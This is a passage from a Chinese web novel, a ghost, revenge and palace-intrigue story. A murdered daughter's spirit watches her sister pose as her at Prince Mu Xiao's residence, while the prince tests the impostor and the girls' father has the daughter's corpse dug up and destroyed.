尤其是为慕枭换药,伺候慕枭沐浴的时候,她会时不时的展现下自己的妩媚风情,或者制造些意外,亲近慕枭。有两次,她更是直接在浴池里湿了身,像是画里走出来的妖精似的,贴上了慕枭的身子。 可随着要做的事越来越多,她越来越累,那些心思,也就都歇了。 实在太累了。 她觉得,自己骨头都要累散架了。 每次瞧着谢婉宁累到崩溃的模样,谢晚棠都眉眼弯弯。 当初,慕枭受伤,她也曾照顾慕枭,那时候,这些事她都为慕枭做过。 被囚禁在永昌侯府的后院里十几年,她和沈嬷嬷相依为命,她这个侯府的嫡出小姐,实际上根本算不上主子,那些事,她自然也不能都指着沈嬷嬷一个人。 这些事她熟悉,她做来也顺手。 而今换了谢婉宁,谢婉宁手生,露出的破绽不会少。 谢晚棠有种感觉—— 慕枭起疑了,他这么折腾谢婉宁,大约是在试探谢婉宁。 一想到这种可能,谢晚棠就忍不住开心,哪怕眼见着自己的魂魄,越来越透明,她也不怕。 只要慕枭起疑了就好。 慕枭的疑心,就是她的指望! …… 畅晚阁。 又过了两日,谢婉宁寻了要沐浴更衣的由头,趁着慕枭睡着了,直接回了这边。 一回来,她就躺在了床上,烦躁的蹬了蹬腿。 这日子简直不是人过的。 享福?受宠? 一样也没有! 越想,谢婉宁就越气,她真心觉得,慕枭大抵是疯了,要不然他怎么会放着王府上百口的下人不用,非要这么折腾她? 见谢婉宁又累又怒,知鸢从旁小心翼翼的开口。 “小姐,你还好吗?要不奴婢为你揉揉肩,松快松快吧?” “你没长眼睛?我好不好,你不会自己看?” “小姐恕罪。” “恕罪恕罪,除了说这话,你还有什么用?” 腾的一下从床上坐起来,谢婉宁抬眸剜了知鸢一眼,这阵子堆积在她心头的火气无处发泄,她忍不住拧了知鸢一把。 骂声,紧随而至。 “说话办事半点不走心,你敷衍我是不是?看着我被王爷使唤,沦落的跟你这种贱婢似的,你在看我笑话是不是?真是跟了灾星,你也成了个祸害,成了个贱人。老天爷怎么不开开眼,直接一个雷劈了你?” 第26章 心头宝 谢婉宁骂的凶。 知鸢心里委屈,她泪眼婆娑,可除了一句“小姐恕罪”,她再说不出来什么其他的话了。 她心里明镜似的,但凡是涉及到谢晚棠的事,就没有道理可讲。 讲了,也只会让谢婉宁不快。 适得其反。 谢婉宁一连骂了约么一刻钟,一直到觉得口干了,她让知鸢去泡茶,这才算饶过知鸢,停下来歇一歇。 知鸢战战兢兢的端茶水过来,递给谢婉宁。 见知鸢谦卑恭谨,谢婉宁心里的这口气,稍微顺了顺。 “侯府那头可有回信了?” 她冷声询问。 今儿已经是初九了,距离出事那日,已经过去八日了。 她传信出去这么久,按说他爹应该会想办法给她递个话,告诉她些外面的情况,好歹也让她知道下一步该往哪走,让她安心。 听着询问,知鸢也不隐瞒。 “有的,侯爷买通了每日往王府送菜的老伯,递了话进来。” 谢婉宁眼睛一亮。 “怎么说?” 知鸢微微上前两步,她压低了声音道。 “据送菜的老伯说,初一那日,在皇上、王爷和朝臣们到达丘圜,准备登祭天台祭天时,有人发现,通向祭天台的九龙御阶上,有一条龙的龙眼位置,有一滴红蜡,远远的望上去,犹如飞龙泣血。” 谢婉宁闻声心头发紧。 飞龙泣血,这实乃不祥之兆。 别说是在初一,是在祭天的时候,朝臣俱在,众目睽睽,这就算是放在平时,皇上也必定震怒。 尤其慕枭还是监工丘圜建造的主要负责人,出了这种事,他难辞其咎。 只是禁足,已经算轻的了。 若是换做旁人,怕是当日,就有可能人头落地。 谢婉宁眉头紧锁。 她心里,隐隐生了退意。 她忍不住想,或许,她不该弄死谢晚棠,取而代之,跑到这齐王府来的,这不是自寻死路? 谢婉宁正想着,就听到知鸢继续。 “在看到红蜡后,皇上就心生不悦了,他安排人上前去查看,偏在这时,九龙御阶上方,临近祭天台的《江山永固石碑》,不知怎的,就那么倒了下来。石碑顺着九龙御阶滚落,径直砸向了下方的皇上。” “什么?” “是真的。” 看着谢婉宁瞪大眼睛,不敢置信的样子,知鸢快速又道。 “当时,皇子、朝臣俱是大惊。 危急关头,咱们王爷冲上去救了皇上,可他自己却被砸,重伤昏迷了。 皇上一方面气王爷监工不利,以至出现飞龙泣血,石碑倒塌的状况,在祭天时闹出了不祥之兆,有损国运,一方面又感念王爷孝顺,感动于王爷愿在危急时挺身而出,拼死护住了他。 侯爷说,也是因为这,皇上才只是封府禁足,尚未做他罚。” 飞龙泣血,《江山永固石碑》倒了…… 想想谢婉宁都觉心惊。 慕枭受伤不轻。 不过,能用这一身伤,换了不做他罚,功过相抵,也算是他幸运了。 谢婉宁想着,挑眉看向知鸢,“除了这些,我爹可还让人传了其他话?他有没有说,齐王府何时会解除封禁?” “没有。” “没有?” “是,侯爷让人传话说,何时解除封禁尚未确定,不过就眼下情况来看,怕是得等一阵子,也或者……” 对上谢婉宁的眸子,剩下的话,她没有再说,她只是脸色沉沉,微微摇头。 她的意思不言而喻。 要么等一阵子,要么这齐王府,怕是也就就此完了。 谢婉宁的心不禁漏了一拍。 “怎么会?” 慕枭救了皇上,皇上已经不做他罚了,这齐王府的封禁,按说也该用不了多久,就能解除了才对。 怎么会还那么严重? 知鸢回应,“丘圜建造出了大纰漏,弹劾王爷的折子很多,侯爷说,这几日每日早朝,朝臣们都要因为这事吵一阵子。从朝上的局势看,弹劾王爷的居多,为王爷求情的很少,情况并不大妙。” 谢婉宁听着这话,倒也不算多意外。 那些朝臣们,哪一个不是浸淫官场的老手,他们惯会审时度势,见风使舵。 慕枭好的时候,他们一个个贴上来,谄媚殷勤。眼下慕枭出了事,他们一个个,必然躲得远远的,明哲保身,怕沾上慕枭惹了一身腥。更有甚者,他们捧高踩低,顺势踩上几脚,也是正常的。 尤其是,这朝中还有其他皇子在。 皇子争权本就是你死我活的事,慕枭身有战功,名声在外,本就是诸位皇子的劲敌。 眼下他有把柄,被众人握在手上,不攻讦他才怪。 情况的确不大妙。 谢婉宁凝眉,她死死的咬着唇思量权衡。 她想离开。 慕枭本就对她没什么情意,这么久了,连碰也没碰她,她几次主动献身,都被拒绝了,她没道理守在这,陪着慕枭冒险。 只是,现下齐王府被封,这件事要怎么安排,她还得再想想。 最好她爹能帮她安排打点,才能万无一失。 急不得的。 谢婉宁这么劝着自己,半晌才渐渐稳住心神,她歇息了小半日,之后才又回了慕枭身边。 不论是她取代了谢晚棠的事,还是她想离开的事,都不能让慕枭知道。 她不能让慕枭起疑。 …… 永昌侯府,主院。 谢詹杭刚从外面回来,他坐在屋里,和谢夫人喝茶。 他们两个正说着齐王府的事。 谢夫人担心谢婉宁,“侯爷,你说这可怎么办才好?宁儿才都齐王府,就赶上了齐王被禁足,若是齐王就此没了,那宁儿说不准也要受牵连,危在旦夕,这可如何是好?” “是她自己要去的。” 谢詹杭赌气应了一声,心里也烦躁的紧。 闻声,谢夫人抓着帕子的手,骤然收紧了几分,她定定的看着谢詹杭。 “侯爷,到了这个时候,你就别说气话了,你自来宠着宁儿,眼下宁儿有危险,咱们还是先帮帮她,其他的以后再说吧。这么些日子了,咱们还没能往王府里递消息,宁儿什么情况都不知晓,也没个商量对策的人,指不定怎么慌呢。” “嗯。” 谢詹杭到底心疼谢婉宁。 听着谢夫人的话,他也没有瞒着什么。 “我刚刚在万仙楼,见了几位朝中大臣,也跟他们研究了下齐王府的事。 我们都觉得,齐王身有战功,这次丘圜的事闹得虽重,几个皇子也紧咬着齐王不放,但这却未必能动摇他根本。 他不会有性命之忧。 而凭他的能力和手腕,只要不死,就算一时被贬为庶民,他也有机会东山再起。情况不妙,却也没到不可挽回的地步,不必太过紧张。” 听谢詹杭这么说,谢夫人稍稍放心些。 “那还好,那还好。” 刚刚,她都想让谢詹杭想办法,先把谢婉宁从齐王府捞出来了。 慕枭是生是死,她不在乎。 可谢婉宁是她的心头宝,她不能就这么眼睁睁的看着谢婉宁出事,让谢婉宁给慕枭陪葬。 没事最好。 谢夫人长舒了一口气。 只是,她心里还是不免心疼谢婉宁。 “宁儿的运势怎么就这么不济,才进了齐王府,就闹出了这么多事。侯爷,你说是不是晚棠她阴魂不散,缠着宁儿,在害宁儿?你说,咱们要不要请大师来做个法事什么的,除除晦气?免得宁儿再受无妄之灾。” “闭嘴。” 谢詹杭疾言厉色,冲着谢夫人吼了一声。 谢晚棠,这是绝对不能再提的。 不过,即便不喜谢夫人提谢晚棠,可谢詹杭却觉得,她说的请大师来除晦气的提议不错。 或许,是该除除晦气了。 谢詹杭正想着,就见管家一路小跑着,从外面进来。 “怎么了?” 谢詹杭急声询问。 管家听问,将一封信拿出来递给他,“侯爷,有小姐的信,来送信的人说很急,务必要交到侯爷手上,请侯爷即刻就看。” 谢詹杭忙将信接过来打开。 信是知鸢的笔迹,上面只有几个字,却让谢詹杭的心提到了嗓子眼。 他双腿发软,差点跌倒。 “怎么会这样?” 第27章 恨疯长 在谢夫人的印象中,谢詹杭自来沉稳自持,不喜形于色,哪怕是在得知她和谢婉宁,活埋了谢晚棠,企图偷梁换柱,他心中烦躁,面上却也没有多少表情,他只是静静善后。 可近来,他频频露出惊惧之态…… 谢夫人不安。 端着茶盏的手隐隐发软,谢夫人看着谢詹杭,放下茶盏缓步上前。 “侯爷,可是又出了什么事?” 闻言,谢詹杭看向谢夫人,默不作声。 得不到回应,谢夫人心里像是燃着一团火,烧的她心干气燥,她等不得,索性直接伸手,从谢詹杭的手中将信拿过来。 她看了一眼。 短短几个字,却吓得她肝胆俱裂。 秘密被勘破,速救! 谢夫人脸色惨白,她看向谢詹杭声音都在发抖,“这……这确定是宁儿传来的信吗?” “知鸢的笔迹,不会有错。” “那怎么办?” 扔下信,谢夫人一把抓住谢詹杭的胳膊,她急声道。 “齐王未必就真爱晚棠,可晚棠是他长子的生母,必定与旁人不同,再加上他那样矜贵桀骜的人,想来也是不喜被人欺骗的。 尤其是眼下,他出了事,被禁了足,惹怒了皇上。 他那么顺风顺水的人,突然遭受这种劫难,他的情绪肯定更低落,他心里的怒气,肯定无处发泄。 这种时候他知道了真相,必定恼了宁儿。 侯爷,赶紧想办法救救宁儿吧,不然,怕是要出大事了,到时候可就什么都晚了。” 这些,谢詹杭心里都明白,他心里气。 “早知如此,当初,你们又何苦折腾这一遭?” “我……” 谢夫人语塞。 她做这么多,还不是因为心疼谢婉宁。 当初,该进齐王府的人本就是谢婉宁,谢晚棠是捡了便宜,才过了三年好日子的。 可这三年,谢婉宁却吃尽了苦头。 她也是想着让一切归位,让谢婉宁余生能过的舒心些,她有什么错? 谢夫人没说话,但她的这些心思,谢詹杭都懂。 他又何尝不是如此? 否则,他才不会为谢婉宁善后呢。 无奈的叹了一口气,谢詹杭沉声道,“你先去宁和园,就说要重新布置,将那院子里里外外都重新清理一遍,确认把当时的痕迹都清理掉,一定不要留下后患。” “好,好好好。” 心下稍安,谢夫人一连应了几声。 她转而又问,“侯爷,那你呢?你什么时候去救宁儿,接宁儿回来?” “接什么接?” 谢詹杭脸色沉沉,他眸子微缩,冷声回应。 “与其扬汤止沸,不如釜底抽薪,接宁儿回来,虽能保她一时平安,可到底不长久,把这件事彻底了了,才是上策。” “那……” “我自有安排,你先去忙你的,别耽误事。” 谢詹杭声音更冷了些。 虽然不知道他具体要做什么,可是,感受到他的怒意,谢夫人不敢再多问,她匆匆的离开了。 看着谢夫人的背影,谢詹杭眸子微微眯了眯。 “晚棠,我不能眼睁睁的看着侯府因你而受灾,万劫不复,所以……你不要怪我。” 谢詹杭自顾自的念叨。 声音很小,却阴厉又瘆人! …… 谢夫人带着人忙了一下午,赶在入夜前,就把宁和园重新清理布置了一遍。 她很清楚,当初活埋谢晚棠的时候,都是在哪进行的,那些地方她刻意多看了几遍,确认真的没问题了,她才带人离开。 宁和园重归于安静。 一直到临近子时,谢詹杭才带着两个死士过来。 大门紧闭,隔绝了外面的一切。 谢詹杭冷声询问,“侯府内外可都检查过了?确认没有人盯梢?” “是。” 谢詹杭轻呼了一口气,也没有再多耽搁,他带着两个死士到红梅树下,眸光暗凛。 “那就开始吧。” “是。” 两个死士应声,随即拿着铁锨动手。 冬日雪后的地,硬的厉害,也亏得死士的力气够大,土才能一锨一锨的被挖出来,活埋谢晚棠的那个土坑,渐渐被挖开了。 谢晚棠的魂魄还在齐王府,还在慕枭身边守着。 可她却硬生生的被拽了过来。 看着宁和园,谢晚棠满眼诧异,等瞧清楚了,看着谢詹杭催促挖坟的死士快点,她忍不住笑出了声。 哂笑。 里面满是悲戚。 她活着的时候,谢詹杭对她不闻不问,任她自生自灭,她死了之后,谢詹杭对她的惨死视而不见,还为谢婉宁扫清罪证善后。 眼下,他还带着人来挖坟,让她死后也不得安宁。 这就是他爹! 可真行! 都说她是灾星,说她不祥,可生在永昌侯府,有这样的爹那样的娘,大约才是真的灾难,能让自家女儿活成这般模样的爹娘,才是真的不祥。 死士速度很快,没多久,他们就挖到了谢晚棠的尸体。 但那一瞬,两个人下意识的后退。 谢詹杭面露不愉。 “退什么?赶紧把尸骨挖出来,分尸运送出去,别耽搁了。” “侯爷,你快来看……” 死士没动,而是向谢詹杭开口。 “看什么看?” 谢詹杭不慢,可话是这么说,但他还是上前,低头看向那个土坑。 这一看,谢詹杭也吓了一跳。 算下来,被活埋了三个多月,已经将近四个月的谢晚棠,尸体局面没有一点腐化的迹象,就是皮肉,也都没有萎缩,这么瞧着,俨然像是刚死不久。她的脸被划烂了,血痕交错,那双眼睛不知怎的,居然大睁着,明明蒙着一层土,却恨意明显,死不瞑目。 纵然冬日天冷,尸体腐化的要慢一些,可也不该是这样的。 “怎么会这样?” 谢詹杭喃喃低语,有些搞不清状况。 他从没见过这样死而不腐的人。 谢晚棠也很意外。 是因为尸体不腐,她才不入轮回?还是因为她入不了轮回,尸体才不腐? 谢晚棠不清楚,但她心里高兴。 骨肉至亲,可她被谢婉宁和阿娘害,谢詹杭这个做爹的袖手旁观,视而不见,他心安理得,只当没她这个女儿存在。 他凭什么? 看着她的惨样,然后夜夜被噩梦纠缠,不得安宁…… 这都是他应得的。 挺好! 谢晚棠想着,就见谢詹杭转头看向死士,“去,下去分尸,头跟尸体分成两部分,送到京郊野狼山焚烧,即刻就去。” “是。” “一定要盯着,要亲眼看着尸体化为灰烬。” “属下明白。” 两个死士应声而动。 而谢晚棠的魂魄,则僵在了原地。 分尸、焚尸、化为灰烬,这几个词从谢詹杭的嘴里说出来,一字一句,凌厉如刀,深深的扎进了谢晚棠的心里。 恨意怨念,犹若藤蔓,在她心里生了根,疯狂生长。 她想,她若是厉鬼可多好。 缠上他,折磨他,报复他,让他求生不得,求死不能,让他痛不欲生,悔不当初…… 可为什么不行呢? 谢晚棠眼睛泛红,她眼睁睁的看着死士执刀。 这时,她就听到谢詹杭又道。 “不,不对,剥去她的面皮,先把她的脸给毁了,不能再让人看到她的模样。另外,仔细查看下她身上可有什么印记、纹身没有,也一并都毁了,再带出去。” 这永昌侯府内,没有人盯着,可外面有没有人盯,是说不准的。 决不能让人认出这是谢晚棠。 小心驶得万年船。 他得谨慎些,再谨慎些! 心里想着,谢詹杭随即转身,他自来不信神佛的人,此刻却双手合十,面向京郊大佛寺的方向,虔诚至极。 “佛祖保佑,保佑侯府不被灾星连累,不被恶鬼纠缠。” “佛祖保佑,求灾星魂飞魄散,再不存于世间,再无害人之力。” “佛祖保佑……” 第28章 避风港 谢晚棠看着谢詹杭的模样,只觉得可笑。 行恶事,拜神佛—— 他哪来的脸? …… 谢晚棠是一个时辰后回到齐王府的。 彼时,她的魂魄,已经单薄的只剩了一道虚影。 她身上多了很多伤,尤其是脸,此刻伤痕交错,殷红的血糊了一脸,面容都变得模糊了。 她像只破败的风筝,身心皆是千疮百孔。 她回到了慕枭的寝居。 不知为何,谢婉宁不在屋里,慕枭早已经歇下了,他躺在床上,安安静静的,面上没有什么表情,却显得出奇的柔和,让人瞧着心里暖。 谢晚棠飘到榻上,缓缓躺在慕枭身边。 慕枭的手臂伸着。 她索性就蜷缩在了慕枭的手臂之下,像是寻到了个避风的港湾似的,她泪流满面。 死士执刀,伤在尸身,也伤在她的魂魄。 她好痛。 比被活埋的时候还痛。 更让她痛的,是谢詹杭的阴狠毒辣,佛口蛇心。 这辈子,她活着的时候痛,死了之后也痛,唯一的安闲日子,大抵就是在齐王府,在慕枭身边的这一阵子了。 这人世间好不好,她并不清楚,可她清楚慕枭很好。 这人世间她不想再来了。 可慕枭……却让她放不下。 不知道是陷入在了睡梦中,还是有所感应,慕枭微微侧过身,伸手将谢晚棠的魂魄楼入怀中。 谢晚棠吓的厉害,她挣扎着又埋头往慕枭怀里缩了缩。 有时候,她真的感觉慕枭能看到她。 而她现在这副模样,她不想让慕枭瞧见。 太丑! 太狼狈了! …… 被慕枭抱着睡了一夜,等天蒙蒙亮的时候,谢晚棠就离开了。 她怕在某一瞬,被慕枭看到。 哪怕阴阳相隔,那种可能性微乎其微。 可她不想赌。 她不想让自己留给慕枭的最后印象,是这幅鬼样子,温柔娴静,美丽温润,慕枭只记住那样的她,就很好了。 在谢晚棠离开不久,慕枭就醒了。 起身依偎在床头,看着空荡荡的房间,他心里满满的都是失落感。 他又梦到谢婉宁了! 从前的那个谢婉宁! 她还是娇娇怯怯的,就那么蜷缩在他怀里,依靠着他。 可一醒来,就什么都没了。 慕枭沉着脸深呼了一口气,半晌,他才起身,掀了被子下床。 在初一祭天的时候受伤,本就是慕枭的安排,是他故意为之,他的确受了伤,但其实他伤的并没有表现出来的那般严重,休养了这些日子,伤口均已经愈合,他已经好了。 找了一件锦袍,慕枭穿上出了屋。 昌伯在门外守着。 见到慕枭出来,昌伯快速迎上来,“王爷起了,灶上饭菜都是现成的,可要传膳。” “嗯。” 慕枭点头,转而询问。 “谢婉宁呢?” 听问,昌伯也不瞒着,“回王爷,昨夜王爷睡下了之后,谢小姐累的晕过去了,她虽然醒的很快,但老奴瞧着她脸色不大好,就安排人送她回畅晚阁了。眼下她还没过来,应该是还在畅晚阁休息呢。” 慕枭的心思反复在昌伯说的“晕过去了”上面流连。 莫名的,他不太信。 不过,慕枭倒也没有多纠缠。 看着昌伯,他轻声吩咐,“我先去用膳,昌伯你走一趟,去一趟畅晚阁,告诉她,一会儿去后院的练武场等我。” “王爷,你身子还没好利索呢,去练武场是不是早了点?” “无碍,我有分寸。” 慕枭说完就离开了。 知道慕枭的脾气,昌伯也没有再多劝。 可远远的瞧着慕枭的谢晚棠,心却提了起来,她有些担心慕枭的身子。 人人都说,慕枭是战神,战无不胜,名扬四海,可是却鲜少有人看到他背后的那些伤疤。 他是战无不胜,可这却不意味着,他就真的一点伤都不会受。 新伤旧伤相交叠,哪一处不疼? 年轻的时候,仗着身子好,或许还不觉得有什么,等上了年岁,这些旧伤的痛,大约都会找上门。 这次他又受了重伤。 谢晚棠担心他没养好,再留下后患。 心悬着,谢晚棠忍不住跟了上去,不亲眼瞧着他好好的,她不放心。 抬手摸了摸自己的脸,想着自己的惨样,谢晚棠在心里嘀咕,她不靠近,就远远的看着就好。 一眼就好! 慕枭用膳很快,只一刻钟多些,他就吃完了,之后,他也没带下人,他一个人径直去了后院练武场。 慕枭到时,谢婉宁已经在等着了。 见慕枭过来,她提着裙摆,快步跑了过来。 哪怕谢婉宁心里,早已经打算好了要离开,免得被慕枭牵累,丢了性命,可时机未到,她面上依旧殷勤。 “王爷,你好些了?” “你的功劳。” 慕枭开口,语气虽冷,但话却还算软。 谢婉宁听着,微微勾唇,她伸手挽着慕枭的胳膊,笑意盈盈。 “王爷是我和孩子的依靠,更是我心上的人,我一早就说过,我伺候王爷是应该的,只要王爷能好起来,那我就是再辛苦,都心甘情愿,甘之如饴。” 慕枭侧头看着谢婉宁,眼神淡淡的。 “你嘴倒是比以前甜了不少。” 谢婉宁身子微僵。 知鸢的确说过,谢晚棠并非话多的人,尤其是刚进齐王府的那阵子,她话少得可怜。 慕枭说她嘴甜,是发现什么了吗? 谢婉宁不确定。 她只强撑着,故作镇定的回应,“王爷,这哪是嘴甜,只是口说我心罢了。” 慕枭勾了勾唇,没有回应。 慕枭自小习武,封王单独立府之后,他就在齐王府的后院里,开辟了一大片地方,做了这个练武场。这些年来,但凡是在府里,他不是待在书房,就是待在练武场,还是后来有了谢婉宁,他才往畅晚阁去一去,多了个待的地方。 目光在练武场上逡巡,慕枭随即挣脱开谢婉宁的手,拿了自己的弓过来。 “王爷要射箭?” “嗯。” 没看谢婉宁,慕枭拉弓,对着箭靶子三箭连发。 三箭齐中,支支正中靶心。 “一直病着,在床上躺太久了,骨头都要僵了,也该练一练,活动活动筋骨了。” 慕枭说着再次拿箭拉弓,又是一次三箭齐发。 依旧是三箭皆中。 谢婉宁一直都知道慕枭功夫好,文武双全,可是,听说是一回事,亲眼瞧见又是另外一回事。眼下瞧着慕枭身姿挺拔,拉弓射箭,百步穿杨,箭无虚发,她自然是心动崇拜的。 男人,就该是这样的。 只是,转而想到谢詹杭传来的口信,说朝臣弹劾慕枭,皇子也联手攻讦他,他状况不好,怕再难翻身…… 谢婉宁心头的崇拜,不免跟着散去了些。 功夫好有什么用? 有前程,有未来,有命,才是要紧的。 她不想赌。 她更不想死。 谢婉宁心里正想着,就见慕枭侧头看向她,顺带着,他还将手中的弓递向了她。 “要试试吗?” 闻声,谢婉宁一愣,她下意识的摇头,“王爷,我不会。” “不会?” 呢喃着这两个字,慕枭一步步走向谢婉宁。 在谢婉宁跟前站定,慕枭低头俯视她,目光锐利又严峻,那样子,让谢婉宁心跳如雷。 “王爷,怎么了?” “你不会射箭?”慕枭轻笑,“可是,我之前明明教过你,你还练的不错的……” 第29章 请赐婚 慕枭的话,让谢婉宁彻底懵了。 慕枭教谢晚棠练字,教谢晚棠下棋,她可以理解,甚至于慕枭教谢晚棠骑马,她也可以接受。 可射箭—— 好端端的,慕枭怎么会教谢晚棠这个? 就谢晚棠那种手无缚鸡之力的女子,又怎么能拿得起那么重的弓? 现在,让她怎么回应? 谢婉宁一颗心七上八下的,心慌的要命,这时候,就见慕枭抬手,轻轻抚上了她的脸颊。 一下一下,轻轻摩挲。 放在平时,谢婉宁或许会觉得,这举动暧昧缱绻,情意深深。 可现在,她脑子里想到的,都是之前慕枭单手掐死刀五的场面,是慕枭从噩梦中惊醒,一把掐住她脖子的样子。 她怕。 怕慕枭的手陡然下移,就这么毫无预兆的掐死她。 她不该来齐王府的! 在慕枭出事之后,她该早些逃的! “王爷……” 谢婉宁开口,声音明显有些抖。 将谢婉宁的恐惧看在眼里,慕枭嗤笑,他漫不经心的开口,“晚晚,自打我从北地回来,你似乎忘了很多事,是不在意,还是……你有什么事瞒着我?” “不是的,我没有。” 谢婉宁下意识的否认,她强装镇定,仰头对上慕枭的眸子。 “王爷明鉴,我爱慕王爷,情根深种,我对王爷的感情,自始至终都不曾变过。我自认与王爷不分彼此,我在王爷面前,人都是透明的,我没有什么事可瞒着王爷,而且我想,以王爷的能力和手腕,我也没有什么事,能瞒得住王爷。” “呵!” 慕枭勾唇笑了笑,没说什么。 爱慕,情根深种个…… 这种话,他之前可不曾听到过,从前的谢婉宁,不是这么直白热烈的人,这种话她也不会宣之于口。 到底是不一样了。 慕枭不语,谢婉宁瞧着他那模样,心更慌了。 慕枭的手很热,可谢婉宁却觉得冷的紧,慕枭盯着她,就像是盯准了猎物的毒蛇,吐着信子,让人毛骨悚然。 咽了咽口水,谢婉宁摸着自己的手腕,鬼话连篇的为自己辩解。 “王爷,我不是忘了,王爷教我练射箭的事,我历历在目,记忆犹新,我怎么可能忘?只是,我现在是真的不会射箭了,或者更准确的说,不是不会,而是不能了。” “不能?” “生孩子半月后,我就回了永昌侯府,那阵子天寒,雪下的也大,地上冰雪堆积,滑的厉害。有一次,我抱着孩子在外栽倒了,为了护住孩子,我伤了手腕,自那之后……” 谢婉宁声音哽咽。 剩下的话她没再说下去,可这欲言又止的脆弱,却成了她的武器。 惹人怜惜! 慕枭盯着谢婉宁,半晌才放开她,转而拉住她的手腕。 “很疼吗?” “还好。” 谢婉宁心头微微松了松,她忍着泪笑着回应。 “只要孩子能平平安安的,我受点伤,算不得什么要紧事。只是,辜负了王爷的教习,以后再不能拉弓,我心中不免遗憾。这件事,我之前是不打算跟王爷说的,可我真怕王爷误会我,我……” “我懂。” 不等谢婉宁的话说完,慕枭就应了一声。 之后,慕枭放下她,转而又去射箭了,再没有说什么,更谈不上只言片语的安抚。 看着慕枭的背影,谢婉宁真的摸不准刚刚的话,他到底信了多少? 不过,不管慕枭信还是不信,只要对付过眼前这一关就好。 她稍后就做安排。 这齐王府,真的不能再待了。 外面局势不容乐观,指不定什么时候,齐王府就没了,里面慕枭猜忌已起,虎视眈眈,她也不知道还会在什么事上露出破绽…… 都太危险了。 她得走! 练武场门口的位置,谢晚棠远远的瞧着。 见慕枭拉弓射箭,力道准度一如从前,她放心了不少。 慕枭起疑的质问,以及谢婉宁糊弄人的鬼话,她自然也都听到了,她的心倒是平静,不起波澜,也没多少期待。 被挖坟,被分尸,她被伤的太深了,不敢再有什么期待。 不抱希望,就不会失望。 更何况,她已然是这副鬼样子了,又何苦难为慕枭为她报仇,为她辛苦? 慕枭好好的便好! 谢晚棠心里想着,就见慕枭手中的箭陡然出手,箭速很快,将风撕裂,一往无前,所向披靡,直中靶心,一如他这个人,做事也是如此,铁血手腕雷厉风行,又快又狠。 慕枭头也没回,他轻轻的叹息了一声。 “孩子都有了,名分总还是要有的,这三年委屈你了,我打算上元节的时候,向父皇请旨,请父皇为我们赐婚。” 谢晚棠目光僵直,简直不敢相信自己的耳朵。 她告诫自己不该抱有幻想。 可是,明明上一刻,慕枭还怀疑谢婉宁的,可下一瞬,他就提了婚事…… 她的心忍不住漏了一拍。 婚事…… 被囚禁在永昌侯府后院的时候,谢晚棠就盼着能有一场婚事。 沈嬷嬷说,女子出嫁,就是第二次投胎。 她说虎毒不食子! 纵使谢詹杭和谢夫人不喜欢她,可等她及笄了,总会放她出去,让她嫁人的。到时候选夫君,不必选的多富贵、多有权势,知冷知热,能待她好,让她过几日快活日子,便是极好的。 那时候她也盼着嫁人的。 嫁了人,那就不必再被囿于那一方天地,不见天日了。 到时候,她也算有家了。 可谢詹杭把她送进了齐王府,打碎了她的期盼。 回想这三年,慕枭待她即便算不上盛宠,但也的确不差,哪怕他不是个善于表达的人,嘴并不甜,可床榻之上,生活之中,也有很多细枝末节,回想起来算得上浓情蜜意。 但婚事的事,慕枭从未提过,她也从未奢望过。 现在慕枭提了—— 可太晚了! 也许,慕枭想要成婚的人是她,但是,这话却切切实实是对谢婉宁说的,而她……早已沦为了个看客。 谢晚棠心里发酸。 反观谢婉宁,却心头狂喜。 婚事! 慕枭愿意娶她,让她做齐王妃! 一想到这,谢婉宁之前心里那点想逃的念头,瞬间消散的无影无踪,她想做齐王妃,她想入皇家玉牒,她想万一慕枭真的能更进一步,荣登高位,她也可以主理六宫,母仪天下。 这样的念头一起,谢婉宁的喜色,无可抑制的外溢。 的确,慕枭现在的情况不好。 可是,若是慕枭真的愿意娶她,那她也不介意给她爹传信,让她爹再在朝臣中走动走动,想想办法。 以她的状况而言,这么好的机会,再没有第二次了。 努努力,赌一把,又何妨? “王爷,你说真的?” 谢婉宁询问。 慕枭转头看向她,眸色虽冷,但语气却郑重,“我从不拿婚事的事开玩笑。” “王爷你真好,”谢婉宁扑进慕枭怀里。 慕枭手按着她的肩膀,不着痕迹的将她从自己怀里拽出来。 “我一早就说过,要带你去祭拜我师父,让他看看你的,他的忌日马上就要到了,我们就那日去吧,正好也把我们要成婚的好消息告诉他,让他高兴高兴。” “好。” “十二,你没忘吧?” “自然没忘,”对上慕枭的眸子,谢婉宁笑得殷勤,“我知道王爷与师父师徒情深,我也将他当成至亲,所有关于他的事,我都记得。正月十二,王爷说过的,我记得的。” 谢婉宁自认答的天衣无缝。 可是,慕枭听着她的话,却没有半点笑意可言,他放开谢婉宁,抬脚就走。 懵! 谢婉宁完全不明所以。 快步冲着慕枭追了几步,谢婉宁急声询问。 “王爷,你怎么走了?是我说错什么话,办错什么事了吗?” 第30章 她在乎 听着问话,慕枭停下来看她。 “你没做错什么,也没说错什么,只是,你忘记的事太多了。” “我……” “都说皇家人情淡薄,这一点不假,而正因为这种滋味我尝多了,我才更讨厌被忽视,被冷落,被遗忘。那些事,你什么时候想起来了,我们的婚事,什么时候再议吧。” 话音落下,慕枭再不停留,他直接离开了。 谢婉宁呆若木鸡。 片刻之前,她还沉浸在要成为齐王妃的喜悦里,可转眼之间,一切就都成了泡影。 怎么会这样? 谢婉宁想不通,可谢晚棠却清清楚楚。 正月十二,那是慕枭的生辰,而慕枭师父的忌日,正是正月十五。 慕枭是故意的。 他故意提及婚事,让谢婉宁因为欢喜而放松警惕,又故意说错了日子,试探谢婉宁是否会再出差错…… 慕枭根本没想过求皇上赐婚,没想过成婚。 这都是他的计。 谢晚棠一颗心止不住的狂跳。 她自以为,她可以心如止水,平静的面对之后的任何事,可事实却告诉她,慕枭仅仅一句话,就能让她心头波澜频起。 因为,她的理智,抵不过她的在乎! …… “什么?十二是王爷的生辰?十五才是他师父的忌日?” 畅晚阁里。 听着知鸢的话,谢婉宁吼的声嘶力竭。 知鸢见谢婉宁表情近乎扭曲龟裂,她低着头,小心翼翼的回应。 “是,去年的时候,王爷是和她一起过的生辰,的确是正月十二,奴婢不会记错,那日,她还特意带着奴婢,准备了雪顶含翠的茶,以及梅花甜糕呢。 等十五的时候,王爷也带她出去过一回。 原本奴婢是不知道的。 还是后来奴婢从永昌侯府回来,瞧着她很累,伺候她沐浴按摩肩膀,她才说的。 那日是上元节,他们去给王爷的师父扫了墓,又去万宝湖上坐了游湖画舫,赏了灯看了烟火,还猜了灯谜,奴婢也不会记错。” “啪!” 几乎是在知鸢话音落下的瞬间,谢婉宁就抬手扇了她一记耳光。 她下手狠,不过须臾,知鸢的脸就肿了。 可她犹不解气。 